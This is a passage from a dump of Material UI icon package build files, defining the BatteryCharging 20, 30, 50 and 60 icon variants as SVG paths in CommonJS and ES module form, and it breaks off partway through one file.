    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    d: \"M11 20v-3H7v3.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V17h-4.4L11 20z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V17h4v-2.5H9L13 7v5.5h2L12.6 17H17V5.33C17 4.6 16.4 4 15.67 4z\"\n  })]\n}), 'BatteryCharging20Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging20Rounded.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M11.94 18.24c-.24.45-.94.28-.94-.24v-1H7v3.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V17h-4.4l-.66 1.24z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V17h4v-2.5H9.83c-.38 0-.62-.4-.44-.74l2.67-5c.24-.45.94-.28.94.24v3.5h1.17c.38 0 .62.4.44.74L12.6 17H17V5.33C17 4.6 16.4 4 15.67 4z\"\n  })]\n}), 'BatteryCharging20Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging20Rounded.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    d: \"M11.94 18.24c-.24.45-.94.28-.94-.24v-1H7v3.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V17h-4.4l-.66 1.24z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V17h4v-2.5H9.83c-.38 0-.62-.4-.44-.74l2.67-5c.24-.45.94-.28.94.24v3.5h1.17c.38 0 .62.4.44.74L12.6 17H17V5.33C17 4.6 16.4 4 15.67 4z\"\n  })]\n}), 'BatteryCharging20Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging20Sharp.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M11 20v-3H7v5h10v-5h-4.4L11 20z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 4h-3V2h-4v2H7v13h4v-2.5H9L13 7v5.5h2L12.6 17H17V4z\"\n  })]\n}), 'BatteryCharging20Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging20Sharp.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    d: \"M11 20v-3H7v5h10v-5h-4.4L11 20z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 4h-3V2h-4v2H7v13h4v-2.5H9L13 7v5.5h2L12.6 17H17V4z\"\n  })]\n}), 'BatteryCharging20Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging20TwoTone.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M11 20v-3H7v3.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V17h-4.4L11 20z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V17h4v-2.5H9L13 7v5.5h2L12.6 17H17V5.33C17 4.6 16.4 4 15.67 4z\"\n  })]\n}), 'BatteryCharging20TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging20TwoTone.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    d: \"M11 20v-3H7v3.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V17h-4.4L11 20z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V17h4v-2.5H9L13 7v5.5h2L12.6 17H17V5.33C17 4.6 16.4 4 15.67 4z\"\n  })]\n}), 'BatteryCharging20TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging30.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v9.17h2L13 7v5.5h2l-1.07 2H17V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M11 20v-5.5H7v6.17C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V14.5h-3.07L11 20z\"\n  })]\n}), 'BatteryCharging30');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging30.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v9.17h2L13 7v5.5h2l-1.07 2H17V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M11 20v-5.5H7v6.17C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V14.5h-3.07L11 20z\"\n  })]\n}), 'BatteryCharging30');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging30Outlined.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v9.17h2L13 7v5.5h2l-1.07 2H17V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M11 20v-5.5H7v6.17C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V14.5h-3.07L11 20z\"\n  })]\n}), 'BatteryCharging30Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging30Outlined.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v9.17h2L13 7v5.5h2l-1.07 2H17V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M11 20v-5.5H7v6.17C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V14.5h-3.07L11 20z\"\n  })]\n}), 'BatteryCharging30Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging30Rounded.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33v9.17h2.83c-.38 0-.62-.4-.44-.74l2.67-5c.24-.45.94-.28.94.24v3.5h1.17c.38 0 .62.4.44.74l-.67 1.26H17V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M11.94 18.24c-.24.45-.94.28-.94-.24v-3.5H7v6.17C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V14.5h-3.07l-1.99 3.74z\"\n  })]\n}), 'BatteryCharging30Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging30Rounded.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33v9.17h2.83c-.38 0-.62-.4-.44-.74l2.67-5c.24-.45.94-.28.94.24v3.5h1.17c.38 0 .62.4.44.74l-.67 1.26H17V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M11.94 18.24c-.24.45-.94.28-.94-.24v-3.5H7v6.17C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V14.5h-3.07l-1.99 3.74z\"\n  })]\n}), 'BatteryCharging30Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging30Sharp.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 4h-3V2h-4v2H7v10.5h2L13 7v5.5h2l-1.07 2H17V4z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M11 20v-5.5H7V22h10v-7.5h-3.07L11 20z\"\n  })]\n}), 'BatteryCharging30Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging30Sharp.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 4h-3V2h-4v2H7v10.5h2L13 7v5.5h2l-1.07 2H17V4z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M11 20v-5.5H7V22h10v-7.5h-3.07L11 20z\"\n  })]\n}), 'BatteryCharging30Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging30TwoTone.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v9.17h2L13 7v5.5h2l-1.07 2H17V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M11 20v-5.5H7v6.17C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V14.5h-3.07L11 20z\"\n  })]\n}), 'BatteryCharging30TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging30TwoTone.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v9.17h2L13 7v5.5h2l-1.07 2H17V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M11 20v-5.5H7v6.17C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V14.5h-3.07L11 20z\"\n  })]\n}), 'BatteryCharging30TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging50.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M14.47 13.5L11 20v-5.5H9l.53-1H7v7.17C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V13.5h-2.53z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v8.17h2.53L13 7v5.5h2l-.53 1H17V5.33C17 4.6 16.4 4 15.67 4z\"\n  })]\n}), 'BatteryCharging50');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging50.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    d: \"M14.47 13.5L11 20v-5.5H9l.53-1H7v7.17C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V13.5h-2.53z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v8.17h2.53L13 7v5.5h2l-.53 1H17V5.33C17 4.6 16.4 4 15.67 4z\"\n  })]\n}), 'BatteryCharging50');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging50Outlined.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M14.47 13.5L11 20v-5.5H9l.53-1H7v7.17C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V13.5h-2.53z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v8.17h2.53L13 7v5.5h2l-.53 1H17V5.33C17 4.6 16.4 4 15.67 4z\"\n  })]\n}), 'BatteryCharging50Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging50Outlined.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    d: \"M14.47 13.5L11 20v-5.5H9l.53-1H7v7.17C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V13.5h-2.53z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v8.17h2.53L13 7v5.5h2l-.53 1H17V5.33C17 4.6 16.4 4 15.67 4z\"\n  })]\n}), 'BatteryCharging50Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging50Rounded.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M11.94 18.24c-.24.45-.94.28-.94-.24v-3.5H9.83c-.38 0-.62-.4-.44-.74l.14-.26H7v7.17C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V13.5h-2.53l-2.53 4.74z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33v8.17h2.53l2.53-4.74c.24-.45.94-.28.94.24v3.5h1.17c.38 0 .62.4.44.74l-.14.26H17V5.33C17 4.6 16.4 4 15.67 4z\"\n  })]\n}), 'BatteryCharging50Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging50Rounded.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    d: \"M11.94 18.24c-.24.45-.94.28-.94-.24v-3.5H9.83c-.38 0-.62-.4-.44-.74l.14-.26H7v7.17C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V13.5h-2.53l-2.53 4.74z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33v8.17h2.53l2.53-4.74c.24-.45.94-.28.94.24v3.5h1.17c.38 0 .62.4.44.74l-.14.26H17V5.33C17 4.6 16.4 4 15.67 4z\"\n  })]\n}), 'BatteryCharging50Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging50Sharp.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M14.47 13.5L11 20v-5.5H9l.53-1H7V22h10v-8.5h-2.53z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 4h-3V2h-4v2H7v9.5h2.53L13 7v5.5h2l-.53 1H17V4z\"\n  })]\n}), 'BatteryCharging50Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging50Sharp.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    d: \"M14.47 13.5L11 20v-5.5H9l.53-1H7V22h10v-8.5h-2.53z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 4h-3V2h-4v2H7v9.5h2.53L13 7v5.5h2l-.53 1H17V4z\"\n  })]\n}), 'BatteryCharging50Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging50TwoTone.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M14.47 13.5L11 20v-5.5H9l.53-1H7v7.17C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V13.5h-2.53z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v8.17h2.53L13 7v5.5h2l-.53 1H17V5.33C17 4.6 16.4 4 15.67 4z\"\n  })]\n}), 'BatteryCharging50TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging50TwoTone.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    d: \"M14.47 13.5L11 20v-5.5H9l.53-1H7v7.17C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V13.5h-2.53z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v8.17h2.53L13 7v5.5h2l-.53 1H17V5.33C17 4.6 16.4 4 15.67 4z\"\n  })]\n}), 'BatteryCharging50TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging60.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V11h3.87L13 7v4h4V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", 